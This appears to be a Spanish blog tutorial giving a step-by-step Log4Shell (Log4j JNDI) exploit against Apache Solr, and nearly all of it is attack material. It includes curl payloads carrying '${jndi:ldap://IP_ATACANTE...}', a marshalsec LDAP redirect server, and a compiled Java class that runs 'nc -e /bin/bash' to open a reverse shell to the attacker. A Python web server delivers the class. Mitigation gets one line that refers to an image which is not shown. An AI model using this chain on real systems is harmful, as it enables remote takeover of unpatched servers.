¿Qué es Log4j?
Por resumirlo brevemente, Apache Log4j es una librería para Java que se utiliza para el registro de eventos. El problema principal es que permite la inyección de código malicioso redirigiendo peticiones a recursos de terceros mediante JNDI y protocolos como LDAP.
Prueba de concepto Log4j
Reconocimiento
Para hacer esto necesitamos dos cosillas. En primer lugar, estar escuchando por un puerto concreto donde vamos a recibir una conexión. Por ejemplo, tiramos un Netcat sobre el puerto 9876:
# nc -lvnp 9876
# curl 'http://IP_VICTIMA/solr/admin/cores?foo=$\{jndi:ldap://IP_ATACANTE:9876\}'
Vamos a explicarlo. Esta llamada de Curl va a hacer una petición a la ruta “/solr/admin/cores” seguida de un paso por parámetros a “foo”. Esto es propio de Solr y viene heredado de su estructura.
Por otro lado, está el paso por parámetros que realmente tiene el detalle de la vulnerabilidad. En ese punto se realiza una llamada a Java mediante JNDI donde le pasamos una consulta LDAP. Y esta consulta realmente hace una llamada inversa a nuestra máquina atacante.
Explotación
¿Qué vamos a hacer? Rápidamente, vamos a montar un servidor LDAP que nos va a redirigir la llamada a un servidor web (que también montaremos) y este servirá un script malicioso que abrirá la Reverse Shell. Chupao!
# mvn clean package -DskipTests
# java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://IP_ATACANTE:8000/#Exploit"
Con esto hemos iniciado el servidor LDAP. Importante establecer la IP de la máquina atacante y el path que será el script malicioso que servirá el servidor web.
Ahora vamos a realizar un script malicioso que será entregado al destino por el servidor web. Este código en Java (recordar que la vulnerabilidad se basa en Java) lo único que hace es levantar la Reverse Shell.
public class Exploit { static { try { java.lang.Runtime.getRuntime().exec("nc -e /bin/bash IP_ATACANTE 9876"); } catch (Exception e) { e.printStackTrace(); } } }
# javac Exploit.java
Siguiente punto: montar servidor web. Esto lo podemos hacer muy fácilmente mediante la siguiente instrucción:
# python3 -m http.server
Levantamos una conexión en el puerto 9876 mediante Netcat que es donde recibiremos la conexión.
# nc -lvnp 9876
Ejecutamos nuevamente una instrucción Curl como con la que probábamos la vulnerabilidad y….
# curl 'http://IP_VICTIMA:8983/solr/admin/cores?foo=$\{jndi:ldap://IP_ATACANTE:1389/Exploit\}'
Mitigación
En la siguiente imagen del CERT suizo se muestra una explotación junto con sus posibles mitigaciones.
Por último, aclarar que el método utilizado en esta entrada es uno de muchos. Es posible modificarlo para hacerlo mas efectivo.